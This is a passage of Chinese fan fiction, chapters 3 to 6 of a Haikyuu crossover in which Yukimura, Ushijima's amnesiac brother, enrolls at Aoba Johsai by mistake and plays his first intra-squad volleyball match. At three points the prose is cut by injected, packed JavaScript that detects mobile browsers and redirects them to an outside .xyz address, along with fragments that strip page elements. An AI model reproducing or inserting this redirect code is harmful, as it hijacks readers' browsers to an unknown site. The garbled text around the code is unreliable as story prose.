《神之子与排球的适配性》 3. 论入错学该如何自救 跳跃能力、反应能力、速度、耐力都有对应的项目测试。 跟随大流之下，因为失忆导致对世界认知严重不足的幸村也没有出现什么大问题。 所有测试结束之后，国见英和金田一看幸村的眼神瞬间不一样了。 作为排球选手，身体数值可以简单概括为六类，分别是力量、跳跃、速度、爆发、技术和头脑。后三项通过小训练很难检测出来，但是前面三项却是很容易评估的。 以满分为5分的情况之下，普通人数值能够到达3就已经算是非常不错，然而幸村测试出来的数值——是满分5。 生人勿近的气息、冰冷的视线、不爱说话的性格…… 这让他们都想起了国中时期一段不那么愉快的经历。 此时他们的心中不约而同地都冒出了一个想法：这家伙，该不会又是一个天才吧？ 什么都写在脸上的金田一也是一个憋不住事的性格，既然有了怀疑，避免接下来相处闹矛盾，于是他趁着休息的间隙，直接将心中疑惑问出了口。 “幸村君打排球多久了？” 如今虽然是四月份的天气，但是经过一系列运动之后，身体上的热意在室内久久不散，幸村听到问话的时候恰好将外套脱了下来，露出手臂上流畅紧致的肌肉，淡淡回答：“不清楚，好像没有接触过排球。” 幸村努力回想，然而记忆就像被施加了魔法封印，没有一丝解封的迹象。 幸村回答得很认真，听在外人耳中，再看看幸村那完全就是经历过千锤百炼的身体，这话没有一点可信度。 “不会吧？”金田一大呼，“如果没有打排球，莫非你是健身达人？”不然这么好的身体素质是怎么练出来的？ “咦~”完全不记得自己国中严苛训练的幸村听后有些意外，然后福至心灵，对着金田一礼貌道谢，“这是我没有想到的方面，过几天就去健身房试试，真是太感谢你了，金田一桑。” 幸村看过来的眼神太过纯澈，金田一一时有些不知所措，最后只能心虚着说：“不、不客气。” 幸村听后朝两人莞尔一笑，见他们没有其他事情后，转身朝室外水龙头所在地而去，打算洗把脸提提神。 来到洗手台，看到台面上不知道是谁遗落的一张纸，仔细一看居然是国见的入社申请表。 幸村拿起表，视线被上面所填的内容吸引，看到在喜好这一栏中国见的填写，他不自觉念了出来：“喜欢的东西和厌恶的东西一半一半。”空了大半张纸专门给新生直抒胸臆的地方，就这么一句话。 幸村嘴角微微上挑，眼中一抹精光一闪而过，从裤子口袋中掏出笔，开始低头在空白地方写了起来。 写完收笔，满意的将纸放到远离水龙头的地方，开始洗脸。 一切就绪，抬脚朝排球会馆走回去。 半路遇上出来溜达的花卷前辈，好心将捡到的入社申请表递出去，请他转交给岩泉前辈。 * 室内，所有新人再次被集中列队，二三年级则站在前方和他们相对而立。 及川上前一步讲话：“今天的测试到此结束，新人留下来打扫场地，然后就可以回去了。” 及川语气有点轻飘，没有人能够拒绝下学的诱惑。 岩泉见他将重要的事情忘记，连忙补充说明：“今晚大家一定要好好休息，为了更直观的了解大家，明天将进行你们这学期的第一场校内队内赛，具体组合搭配，明天赛前会一起宣布，至此，解散！” * 另一边，白鸟泽排球部训练馆，顶着一个西瓜头发型，头顶还有两搓呆毛的新生气喘吁吁地跑到牛岛面前，说：“前、前辈，教务处的老师说，今天没有一位叫幸村精市的新生前来报到。” “嗯，我知道了，麻烦你跑一趟了，现在可以归队了。”牛岛听后面无表情，想到自家弟弟如今的身体状况，心下却已经开始慌了。 阿市在宫城县人生地不熟的，不会出现什么意外吧？明知道今天开学，他就不应该因为社团的事情提前过来，而是等阿市一起才对。 越想，牛岛心中便越怕，脸上浮现懊恼之色。 天童一把拍在牛岛肩上，说：“若利同学，今天你不在状态哟~” 听到好友的调笑，牛岛锋利的眉峰中凝重之色依然没有减退，“阿市现在还没有来学校报到，我担心他是不是迷路了？” “啊，就是你说的那个弟弟，弟弟也和你一样是路痴吗？”天童真诚发问。 心中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16279351|182484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的焦虑让牛岛丝毫没有察觉到有人想和他抢弟弟，而是快速做出了决定，朝好友交代一句。 “天童，请帮我和鹫匠教练告假，我必须出去一趟。” “哎……” 不等天童回话，牛岛一下就闪出了五六米之远，速度之快，令身后之人惊掉了下巴。 “弟弟是读高一，又不是上国小一年级，太不正常了，若利太不正常了！”天童一手环胸，撑着另一只手肘，摸着下巴，想要想出个所以然来，只是他最后什么都没有想出来…… 跑出训练场的牛岛，第一时间拿出手机和家里打电话，得到幸村已经出发去学校报道的信息后，开始一边孜孜不倦地给幸村打电话，一边在偌大的白鸟泽校园中快速寻找。 平时就觉得很大的校园，如今变得更加广阔。 新生报到处，没有。 社团招新街道，没有。 高一教学楼，还是没有。 没有没有，没有！ “阿市，你快接电话啊！”人力不能达到的时候，人就会不自觉开始祈祷。此时牛岛已经不敢想象，若是幸村在陌生的环境陷入沉睡，将会是一场怎样的场景。 * 另一边，刚和大家一起打扫完排球场的幸村不疾不徐地走出会场，拿出手机一看，才发现手机因为电量不足，不知道什么时候就已经自动关机了。 “昨晚居然又忘记充电了。” 幸村知道自己的身体处于一个病态地疲倦状态，不是因为劳累，而是24小时，一旦他的精神有一丝放松就会忍不住困意，所以，手机忘记充电这种事情经常发生。 “这么久都没有联系哥，他不会担心吧？”幸村自言自语着，看着前方打算一起回家的人，快步上前追了过去。 “国见桑，金田一桑，你们知不道高三年级一位叫牛岛若利的前辈在这个学校里？” 国见惊醒：“牛岛？” “若利——”金田一非常默契地拔高声音，甚至还喊破了音，立马追问，“他不是在白鸟泽吗？什么时候转到青叶城西了？” 不待幸村对于自己入错学的事情有什么想法，率先爆发的是不远处听到他们对话的及川。 “什么？小牛若转到青叶城西了？” 4. 立志要掀起革命的少年 青叶城西，校门口的巨大花坛前，正对学校大门的出口，部活早退赶过来的牛岛和及川相对而立，一个神色肃穆，一个嬉皮笑脸没什么正形，不知道在说些什么。 而在他们大概二十米开外的长椅上，幸村正坐在那里等候，身边还有跟过来的金田一和国见，打着想要一睹宫城县最强防线——白鸟泽的主将牛岛若利的风采，看看他是不是像传闻一般的“怪物”。 当然，这只是表面上的借口，八卦是人的天性，听听草丛后传来的细碎声音就知道了。 “岩泉，及川到底说什么了，牛岛的脸怎么这么黑啊，他不会动手吧？” 松川冒出个头顶，让自己的视线刚好过了草堆的高度，透过幸村和国见之间的缝隙紧紧注视着前面的两方主将。 岩泉看着及川笑嘻嘻的模样，心中叹气，道：“不会的，牛岛不是会跑到敌方阵营挑事的人，估计又是劝及川转学之类的老话题了。” 而及川最厌恶的，就是这一点。 牛岛若利是宫城县有名的天才主攻手，甚至在全国也能够排上名号，及川的实力自然也一样。 可若是外人提起这两个人，对牛岛的语气是对强者的仰慕和敬佩的话，对及川就是惋惜，惋惜他有远超普通人的实力，却没有什么亮眼的成绩。 青叶城西甚至连全国大赛出线都做不到。 被埋没的强者——这也许是及川在全国排球届最令人深刻的印象。 “嗯，牛岛那种怪力失了主场优势应该也耍不起来。”花卷煞有其事地点头应和。 岩泉听后一头黑线：“你们两个，到底有没有听清楚我说的话啊……” 松川直接略过话题，说：“牛岛不是来接新人的吗？没有一丝阻拦就入错学的新人，我真是头一次见。” 花卷不解，花卷疑惑：“为什么？我们青城是那么好进的一个学校吗？” “好像除了白鸟泽是出了名的难进，其他学校都没差多少了。而他原本是要去白鸟泽报道的……” “……” 花卷和松川对视一眼，确认过眼神，他们此刻的想法是一样的。 幸村的成绩，肯定不是普通人能够企及的了。 金田一直挺着腰板，坐姿僵硬，左看看兴趣缺缺的国见，右看看神色冷淡的幸村，背后前辈们的谈话传入耳中，他到底要不要告诉前辈们你们“躲猫猫”不太尽职呢？ 这时候他就很佩服自己身边的两个人了，对外界一点儿反应也没有。 就在身后的讨论越来越大声的时候，幸村的双眸渐渐变冷，粗细适宜的眉峰微微蹙起，低声吐出两个字：“好吵！” 声音很轻，可听在外人耳中，却如落雷般掷地有声。 原本在激烈交流的三人瞬间声音一滞，随后三张同款尴尬又不是礼貌的微笑脸慢慢从草后面走了出来。 幸村回头，看着三位前辈唇边漾起一抹笑意：“我哥和及川前辈的事情，我们也很想知道呢？三位前辈不如和我们具体说说。” 在幸村说话的时候，金田一猛猛点头，表示自己也想知道，同时还不忘拉着国见站起来为前辈们让坐。 至于为什么没有拉幸村，只能说懂的都懂。 松川三人对视一眼，不知道为什么，眼前这个新人的气势，居然有点可怕！ 岩泉见后，作为青叶城西的二把手，大跨一步，坐在了幸村身边，看着前面明显交谈不太顺利的两人开始说起了故事。 “其实认真说起来，也不是什么大事，只是白鸟泽作为宫城县第一的学校，其他球队想要进军全国大赛，打败白鸟泽是永远绕不开的难题……” 白鸟泽奉行精英式打法，每一个位置都由实力强大的选手上场，然后以他们之中最厉害的“天才”为核心，给予对手最强力的一击，最终取得胜利。 天才的周围只有天才可以有一席之地。 这就是白鸟泽这支球队的核心理念。 而及川彻，作为全国数一数二的二传手，自然是白鸟泽想要纳入拼图的一个棋子。 让强者愈强，可以直接让对手望而生畏。 只是很可惜，及川最讨厌的就是天才。 “及川觉得，每一位选手都有其存在的价值，只要在适合的位置上，就能打出精彩的比赛，不是只有天才，才配站在球场上，将那些所谓的‘天才’一一打败，不是更有乐趣吗？” “理念不合？”幸村听后微微一笑，“还是，一山不容二虎？” “你怎么可以这么说？”花卷看着幸村，震惊之中带着一丝气愤，没有想到这会是一个后辈说出来的话。 “只要是比赛，那么胜利者永远只有一个。” 没有人会记得第二名，因为那不是荣耀，而是“耻辱”，看来青叶城西对竞技比赛的觉悟，整体还有待提高呢。 一边说着，看到及川和牛岛已经交流完毕的幸村顺势站了起来，打算和自家哥哥汇合。 只是在他打算离开的时候，幸村停住了脚步，微微回首，对着身后呆愣在原地的五人淡淡出声：“准备好接受革命的风暴吧，前辈们！” 不管是“天才”还是普通选手，实力达到一个高度后都有一个统一的称呼——强者。 而强者的骄傲，又怎么会允许自己沦为别人的陪衬？ 现在幸村对排球界还没有全面的了解，也许及川前辈真的如他自己说的一样不是什么天才，但是可以确定的是，他一定是一位强者。 幸村自己就是一个信奉实力至上的人，带入想象一下，如果“天才”更容易拿得胜利的话，似乎也会是不错的选择。 话落，幸村不再迟疑，径直走向前方等候的人。 “好霸气。”金田一望着幸村的背影做出评价，随后又像想到什么似的，接着道，“他不会又是另一个以自我为中心的疯子吧？” “好……好麻烦。” 本来被幸村身上那股气势震撼住的国见听到好友下一句话的时候，把原本想要夸奖的话直接转了个弯。 对于幸村这种要全力以赴干大事的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16279352|182484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样子，他现在有点害怕会殃及自己这条想躺平的“池鱼”了。 “太狂妄，幸村精市对吧，我记住他了。”松川一静诧异之后恢复了平静，点道，“就是，不知道他的实力怎么样？” 不管怎么说，幸村都是他们排球部的新生，狂妄一些没什么不好，若是加上强大的实力，那就是无可挑剔。 “应该很强吧，否则大话都说出去了，实力太弱，那也太尴尬了。”花卷想想自己遇到这个场景，不由打了个寒颤，这么社死的场面他可受不了一点。 只有岩泉没有开口，只是视线紧盯着幸村的动向，他们青叶城西今年似乎来了一个不得了的新人。 ‘也许，幸村说的是对的，青城正需要一场革命，来打破白鸟泽在全国大赛预选赛上对宫城县各校的封锁。’ 冥冥之中，岩泉有一种莫名的感觉，幸村精市很有可能就是那个为排球界掀起风暴的人，心中不由为接下来的日子生出了些许期待…… 及川视线一撇，看到迎面走来的人，笑说：“呐，我们后辈来了，小若利，明天我要在我们的队内赛场上见到我这个小后辈哟，千万千万不要将他拐跑。” 牛岛放弃让及川改口的挣扎，看到幸村过来，直接当着他的面问：“阿市，很抱歉今天没有等你一起去报道，这才导致你入错了学，不然明天我帮你转回白鸟泽吧。” “啊嘞！” 及川气，牛岛这个直来直去的性子，居然当着本大人的面挖墙脚？这怎么能忍，于是出声阻止：“本大人还在这里呢，你们说话注意着点啊。” 然后转身又对着幸村开始夸赞起来：“青叶城西好，青叶城西妙，更有本大人这个厉害的二传手为你托举，简直就是梦中情校。” 虽然不知道幸村的实力怎么样，就今天单方面的身体素质测试这一块儿，至少可以看出他的上限非常高，高到及川都要忍不住“嫉妒”了。 “哈哈。”幸村听罢轻笑两声，“及川前辈放心，我没有报道第一天就转学的打算。”很抱歉，只能婉拒了自家哥哥的邀请了。 “不错不错。”及川很满意幸村的态度，挥挥手，和两人告别。 * 校门口，专门来接他们下学的司机已经早早等候，幸村跟着牛岛上了车。 “阿市，你真的要打排球吗？” 就在汽车行驶的途中，一直不知道怎么开口的牛岛突然发问，语气中满是小心翼翼，还有一丝他自己都没有察觉的担忧。 也许及川会以为他让幸村转学是为了自家弟弟的潜力，但是只有牛岛自己清楚，幸村的才能，可不在排球上啊。 就算去到白鸟泽，他也不会要求幸村加入排球社。 “嗯。”已经有些困倦的幸村低声回应，“毕竟，我也不知道加入什么社团好。”只不过是恰好的时间遇到了恰好的社团，仅此而已。 见此，牛岛不再多说，只是对及川提及的，明天青叶城西的队内赛，又多了几分担忧。 不知道阿市能不能打好排球？ 5.临时补习 “不过——”想到明天的比赛，原本犯困的幸村又不得不打起精神来，“虽然决定了要开始打排球，可是我现在对它一无所知。” 原本要强的一个人，此时软糯又无助的语气向人求助的时候，那个人自然是不留余力的帮助他了。 此时牛岛眼中，自家弟弟就是有些要强又别扭的小孩，一切事物都如婴儿般刚刚接触，若他不是白鸟泽排球部队长，说不定今天及川策反自己转学的话就要变成真的了。 难得阿市有事相求，尤其还是自己喜爱的排球，牛岛自然当仁不让，说：“从这个学期开始，我从原来的寄宿改成了走读，今晚正好可以给阿市补一下有关排球的基础知识。” 原本是为了一起上下学，更好的留意幸村的身体状况，现在倒成了幸村更快了解排球规则的入门引导老师了。 “谢谢哥。”幸村两只细长有神的眼睛含着笑意，望着自家兄长真诚道谢。 于是，接下来就成了牛岛小课堂开课的时间。 “作为一名排球运动选手，你要明白自己在比赛场上打的是一个什么位置，以及自身的优势，比如，主攻手一般会站在四号位，但是在没有自由人的情况下，就会有两个主攻手，占据球场上的一号位和四号位，而他们需要拥有过人的技巧和力道，撕破对手的防线，用强而有力的进攻为队伍拿下比分……” “因此，不论是主攻手，还是副攻手，亦或者二传手或自由人。每一个位置都有其独到的地方，总得来说，排球比赛其实就是一场……” 牛岛耐心讲解的时候，幸村不时点头附和，当他即将为这堂课划下句号的时候，幸村直接将话题接了过来。 “排球比赛就是一场——让球永不在己方球场上落地的运动！” 幸村笃定的话语让牛岛有些震惊，他只不过是大概简介了一下比赛规则，信息杂乱无章，毫无章法，可是幸村却能够精准提炼出其中的信息，并且精准又快速地找到比赛的核心。 这一刻，牛岛对自己这个有着“神之子”之称的表弟，有了更清晰的认知。 望着对方沉静的面容，久久，他才再次开口：“没错，简单来说，排球比赛就是一项让球永不落地的运动，谁先落地，谁就出局。” 幸村听后点头，示意自己明白了，心下也开始思考起来明天的比赛。 ‘也不知道前辈们会给我安排什么位置打？’ 行驶的汽车开进巨大的日式典型庭院，穿过假山流水铸就的自然缩影，最终在一栋木质的两层小楼前停下。 两人下车，牛岛也打住了原本的知识灌输，道：“由于现在时间紧迫，我只能挑最主要的和你说一下，具体规则还是要阿市你自己去看一看资料书，等一会儿我将《排球初级入门详解》拿给你，希望会对你明天的比赛有所帮助。” “当然——”似乎想到了什么，牛岛话锋一转，开始嘱咐道，“不可以超过九点半哦。” “嗯嗯，麻烦哥了，我会量力而行的。” 幸村乖乖点头道谢，没有什么比自己深入去读更印象深刻。 不过，他觉得自己今夜要奋发图强，然后明天悄悄惊艳所有人呢！ * 而此时，青叶城西排球部会议室的灯还在发挥自己照明的功能。 青叶城西排球部高年级几人正在会议室为了明日各位新人打什么位置，和哪个前辈组队而“苦读”各位新人的入社申请表。 想要透过薄薄的一张纸，结合白天身体测试来组成最佳队伍。 “哈哈哈哈！” 突然的一声爆笑打破了原本严肃的氛围。 花卷此时拿着申请表的手因为忍不住笑意而发抖，“哈哈哈，今年我们部的新人，真的太特别了，怎么会有这样有趣的人？” 花卷不理解。 “快让及川大人看看究竟是什么让小卷你这么开怀。” 及川被花卷的话挑起了兴趣，一把将表拿了过来，定睛一看，赫然就是幸村白天捡到的那张。 “姓名国见英，高一六班，身高182.8厘米，体重……” 花卷对及川一栏一栏看下去的举动失去了耐心，直接大手一指，急不可耐地说：“哎呀，看下面，喜欢和讨厌的东西，他填写的是一半一半，太搞笑了……” 及川视线下移，不仅看到了国见自己填写的内容，还看到了另一个字迹所写的内容，由于太过离谱，他直接念了出来，“问一根苦瓜是否喜欢一半，讨厌一半？” 一个人的喜恶还能这样分的？ 岩泉听到及川念出来的内容，也来了兴趣，凑过去一瞧，熟悉的隽秀字体跃然纸上。 ‘这字怎么有点儿眼熟？’ 岩泉暗自腹诽，视线不经意落在自己手中的资料上，最上面的一页，字迹正好和国见那张上面的一样。 “这不会就是牛岛弟弟写的吧？字迹都一样。” “牛岛弟弟”四个字直接触动了及川的雷达系统。 “哦？让本大人看看他又写了些什么？” 及川饶有兴味地将资料拿过来，只是看到申请表上大面积的空白后，原本上扬的嘴角渐渐被抹平。 只见表上，除了个人基础信息外（姓名、性别、年龄、班级、家庭住址等)，其他大面积都是空白。 “喜好的事物和厌恶的事物留白就算了，为什么连什么时候开始打排球以及在比赛中擅长的位置也留白了？” 及川目光继续下移，来到一句话入社感言一栏，不出意外的一样是空白。 “对别人的申请表这么有发表欲，怎么就不端正一下自己的态度呢？” 及川的话看似说的很重，但是在座众人却没有人觉得他是在生气。 “就今天的测试来看，幸村无论是速度还是力量都是数一数二的存在，看他游刃有余的样子，似乎还收着力气，不像是个对运动一无所知的样子。”松川一边回忆白天的事情一边分析。 “没错。”花卷在一旁附和，同时还提出自己的看法，“而且，看他的测试，有一种和其他人不一样的……气场？” 花卷语气有些不确定，因为那种感觉很难描述，只有真正遇上的时候，他敢确信，只要一眼，你就会发现幸村身上的特质和其他人大不相同。 若有似无，好似游离在世界之外，又好像是他身上由内而外散发出来的一股气息。 “是吗？”及川听后眸光微转，“我开始期待他明天的表现了。” “你已经想好让他打哪个位置了吗？”岩泉问。 “啪”一声，及川大手拍在桌面上，发出一声巨响，而他手指所指的地方，正好是一张排球场平面图的左前方的位置，图上赫然是一个序号——④。 “就决定，是这个位置了。” *< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16284797|182484||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>牛岛宅。 雅致的木质小楼二楼的一间房间里，微弱的灯光透过窗帘只余下零星几缕打在庭院中粉色的蔷薇花墙之上。 房间内，幸村伏在桌案上沉沉入睡，在他手臂下压着的便是牛岛送给他的《排球初级入门详解》。 “咔嚓”！ 门锁转动的细微声音在寂静的夜里十分响亮，可就是这样，原本非常警觉的人，此时也没有要苏醒的迹象。 牛岛推开门，走了近来。 看见趴在桌上熟睡的人，轻手轻脚走了过去，然后熟稔地弯腰，伸手将人抱起，一步一步将幸村放回床上。 自从幸村过来之后，这样的事情已经发生了很多次。 刚开始的时候，他们家还不知道幸村有这样的病症，直到有一次，幸村为了入学白鸟泽的测试，晚上多复习了一下资料，不知不觉就间陷入沉睡。 第二天牛岛敲门没有听见回应，紧急打开门，才发现自家小孩儿趴在书桌上睡了一晚，浑身僵硬冰冷，没有一丝生气。 然后直接就送了医院，观察一周后才出院。 也是因为这一次让他们知道了，当幸村接触新事物到达一个临界点的时候，就会不顾身体主人意愿的陷入昏睡状态。 那是一种来自灵魂的倦意，就算幸村想要清醒也很难做到。 牛岛还记得幸村醒来后对他说的一句话。 “总感觉这个世界的一切都是虚假的，只有沉睡才是清醒……” * 次日一早，春日的阳光温柔和煦，洒向大地的一刻，唤醒沉睡中的生机。 幸村侧躺着睁开眼，入目的便是优雅与艺术完美结合的巨大插花，紧接着是已经摆放整齐的桌面，不用想，幸村便猜到了这一切是谁收拾的了。 ‘自己居然又熬过度了。’ 原本因为休息一晚后舒展的双眉，想到自己完全不能发挥十分功能的身体，又不觉皱了起来。 加入排球社是一个意外，但是不了解排球却是一个事实。 幸村能感觉到自己身体里那汹涌蓬勃的力量，自然不想和普通新人一样按部就班的，在一年级做一些洒扫的活计。高中本来就只有三年，多浪费一天都是对竞技比赛的不尊重。 可是空有宝藏，却发挥不出来的情况，更让他觉得沮丧。 排球比赛的规则庞大杂乱，对于刚接触的他来说有些吃力，幸村只是想在第一次比赛场上，就算做不到完美，也不要留下太大笑话。 拉开窗帘，微风将他鸢尾色的头发吹过脸颊，同时也将早春特有的微凉空气注入他半敞开的白色衬衫之中，白皙的皮肤感受到晨间朝气，让人头脑变得清明。 转身洗漱，收拾好书包，幸村来到门前，看一眼旁边巨大的落地镜中，修长匀称的少年镜像，双眉修长入鬓，狭长的眼角衬得他整个人如冬日白雪般冷冽，拉平的薄唇更是让他身上带有不怒自威的气势。 只是当他眉眼含笑之时，便如高原雪山之上，冰雪消融，给人一种如沐春风之感。和此时面无表情的他完全是相反的气质。 幸村神色平静无波，只是在手握上门把手的一刻，发出一声低吟：“即使是排球，我也是没有死角的。” 熟悉的语句，令他手中的动作一顿，深想一下，却什么也想不起来。 摇摇头，幸村抛开杂乱的思绪，利落地打开门走了出去。 6.队内出赛 06 队内初赛 青叶城西室内排球馆内，昨天说完话就消失的教练入畑伸照再次出现在众人面前，手中拿着厚厚的资料随意翻阅着。 当他看到岩泉一早交给他的对战表后，不觉皱了下眉，心下暗想：今年新生的位置重合度有点太高了啊。 青叶城西有宫城县最好的二传手，这也导致了有实力的二传很少会选择这个学校，作为及川接班人的矢巾秀自己二年级，但是无论是实力还是名气，和及川的差距目前来看还是比较大的，当高三年级毕业，青叶城西可能变成青黄不接的状态。 “下面我念到名字的自动成队，进行排球部队内摸底比赛，首先是发球队，一年级国见英主攻四号位，清水绫接应一号位，三年级岩泉州、松川一静副攻，二年级二传矢巾秀，白川恭一自由人。” “接发球队，一年级四号位幸村精市，金田一永太郎三号副攻，三年级二传及川彻，二年级渡亲治自由人，副攻花卷贵大、加藤静雄。二三年级配合一年级新生比赛，以上！” 听到自己的名字后，原本站在队伍中出神的幸村睫羽颤动两下，慵懒地向上抬了抬，眸中流光一转，看着其余站着的二十多个新人，露出一抹了然之色。 ‘让二三年级的前辈来当陪打，看来这几个和自己一起进来的新人，实力应该还不错。’ 很快，队伍散开，两队人马分别跟着每队的高年级前辈离开。 不知道什么时候，及川来到幸村身后，手拍在他的肩上，说：“小后辈，比赛时间可不能开小差，快过来做赛前热身。” “知道了前辈。” 听到热身，幸村惯性地就要朝着场外走去。及川手疾眼快将人一把扣住，问：“你干什么去？原地热身就行了。” “啊？”幸村轻哼一声，看看什么也没有的场外，这才惊觉自己居然会下意识地以为排球比赛前热身需要拿什么东西？ 低头看看自己的右手，掌中空空如也，低声细语解释道：“就是觉得手上应该拿着什么东西……” “不用拿东西，你们跟着亲治做就行了。” 及川看着幸村认真的眼神，他知道对方是真的觉得是要拿着“某物”热身，“小幸村以前有打过排球吗？” 幸村：“……” 这是个尴尬的问题，都要比赛了他们队长居然才想起来和自己确认一下，这真的好吗？ 而且，他也不知道自己以前有没有打过排球啊！ 幸村摇摇头，表示自己不知道。 ‘完了，本大人今天不会要被iwa酱虐了吧？’ 及川见此，内心直呼。 幸村看着被自己的回答震住的前辈，柔声安慰道：“不过前辈请放心，我昨晚已经补习过排球知识了，比赛应该不用担心。” “昨晚……” 此时及川觉得自己已经要碎掉了。 想到昨天晚上和岩泉他们信誓旦旦的话，只觉得脸有些疼。 他现在怀疑一上来就玩这么大，会不会是一个失误的决策…… * 昨夜排球部会议室。 岩泉对于及川手指的位置发出质疑：“主攻手已经有了一个国见英，再让幸村精市打这个位置是不是太重合了？” 及川却是摆摆手说：‘青城暂时有本大人这个二传在，其他位置不着急，让他主攻，到时候对上小牛若，就是弟弟打哥哥，看他还能不能下得了手。嘿嘿～’ ‘而且，二传手可以更好的掌控全局，是最容易发觉队友潜力的位置，小幸村既然对自己的能力不够了解，正好让我好好观察一下这个什么信息都没有透露的新人，说不定，他将会是我们青叶城西最深的王牌！’ “才第一天，及川你怎么就觉得他会是王牌了？”花卷问。 “哈，本大人就是对比‘天才’名号还响亮的‘神’究竟实力会有多可怕来了兴趣罢了。” 自诩“天才”的人，已经很讨厌了，现在还来了一个更狂妄的人，及川怎么会不想好好去挫一挫幸村的傲气呢？ 否则还以为他们排球比赛有多简单呢。 及川语气轻佻，一点儿看不出他对这事有丝毫认真的模样。 虽然小牛若说过幸村很强，但是没有亲眼见到，他是不会轻易做出评断的。 * 嘀—— 清脆的哨鸣声穿透整个场馆，两队人马分别就位。 幸村站在接发球队的四号位上，看着对面六人，再扫一眼自己身边的队友们，脸上是难以言说的凝重。 好小，排球比赛的场地怎么感觉又小又挤？ 只是如今箭在弦上，不得不发，于是幸村只能默默叹气：“站在场外和进入场内，果然是两个完全不一样的感觉。” 对面，国见英和幸村的位置正好成对角线，同样是前排，同样是主攻手的位置。 想到昨天校门口幸村说的那句话，平时比较节能的他，此时都不自觉打起了十二分精力。 看着幸村皱眉的样子，似乎是有什么苦恼，可即使这样，幸村身上那种淡漠的，仿佛谁都不能进入他视野气质依然没有什么变化。 若说在场的运动选手中，二三年级分一档，围观的新生为一档，被教练点名安排比赛的他们又为一档的话。 那么，幸村精市独占一档。 鹤立鸡群，格格不入！ 国见作为昨天一直和幸村在一起测试的人，他比任何人都清楚幸村对一切测试项目的生疏。 所以，他很清楚幸村一定很少接触排球。 可就是这样的一个新手，今天却被安排在国见最擅长的位置上和自己对打，这让他怎么能够用平常心对待？ 国见双眸微动，眼中一抹暗芒闪过。 到底是又一位自以为是的天才，还是一位真正纯粹的革命者呢？ ‘接下来的比赛，就让我看看你有没有掀起风暴的实力了。’ 排球比赛首发的队伍就那么六个人，同样的位置就意味着竞争，再加上幸村还是和国见一样的新生。 而今天这样的占位和比赛，可以说，教练和高年级的前辈摆明了就是想看看他和幸村的实力，究竟谁更强。 那种被“天才”压一头的感觉，国见在国中的时候就已经感受过了。 国见眸光越来越暗，“这感觉，真是糟糕透了。” 金田一正好在幸村右手边的三号位置上，位于球场的中心，离好友国见更近，第一时间就察觉到了他不同以往在比赛场上的状态。 “小英他，似乎很有斗志……” 说着，金田一顺着国见的视线看过去，见到幸村的身影后，心下明白了过来，开口说：“幸村君，你居然将小英的斗志激发出来了。” “嗯？”幸村听到声音，收回刚才不太冷静的思绪，挑眉看了一眼对面的国见。 一场比赛还需要对手去激发一个人的斗志的话，那么对于比赛的胜负，那个人只怕也不是很在意吧。 如此想着，幸村快速收回了视线。动作轻描淡写，好似一切都没有放在心上。 没有得到回应的金田一也没有时间继续说话了，因为比赛将正式开始。 * 这次比赛只是队内测试赛，因此本次比赛并不需要和正式比赛一样打满三场，而是一局定胜负，谁先满15分，并且高于对手两分的队伍直接获胜。 比赛开始，由对方岩泉优先发球。 “嘀——” 哨鸣声响起，只见岩泉双手一上一下，五指抓着排球用力旋转。 “唰”一下，排球在双手中间腾空转动，随后大手将球托起，将球平抛而出，一个稳健的起跳，手臂挥出，排球朝对面而去。 “好快！” 金田一本能想要起跳，却慢了一步。 后场花卷贵大见新人失手，连忙上前，同时眼神朝右前场的及川看过去，只见及川也正好看过来。 两人视线在空中交汇，在看到及川点头之后，花卷看准时机双手抬起，一个精准托球将球传了过去。 “好球呀，小卷。” 轻快愉悦的声音犹如跳动的音符，及川朝后退上几步，在球的落点处蓄势待发，视线同时转到跟着众人一起移动位置的幸村身上。 既然是测试，自然要多多给新人表现才是嘛！ 及川唇角一勾，视线越过场地内的其他人，在幸村头顶上方的一个点停住。 ‘根据他昨天的摸高测试，这个位置应该是小幸村扣球的舒适区，第一球就先试试好了。’ 想罢，及川身体舒展，双手举起。 啪—— 一声脆响之后，排球就像被赋予了生命一般，跃过众人头顶，朝着幸村的方向飞来。 咻—— 排球飞驰之间，由于速度过快与空气产生的摩擦之声，犹如利箭穿堂，声音洪亮如钟。 幸村抬眸，望着空中极速奔来的一个小点，脑海中一瞬间浮现出很多模糊的画面。 “高吊球……” 对付高吊球的打法是——Jack Knife。 “重心垂直跳打法！” 坚定而有力的声音从幸村口中而出。 只见幸村屈膝起跳，金田一只感觉到眼前一黑，然后就是巨大的阴影投下。 只见幸村凌空一跃，右手手臂高高往后扬起蓄力。 对面，带队人岩泉只感觉到一股令人骇然的气势，判断出这球若是被扣杀成功，速度和力道一定不低，连忙朝前拍的三个队友喊话：“前排准备拦网！” 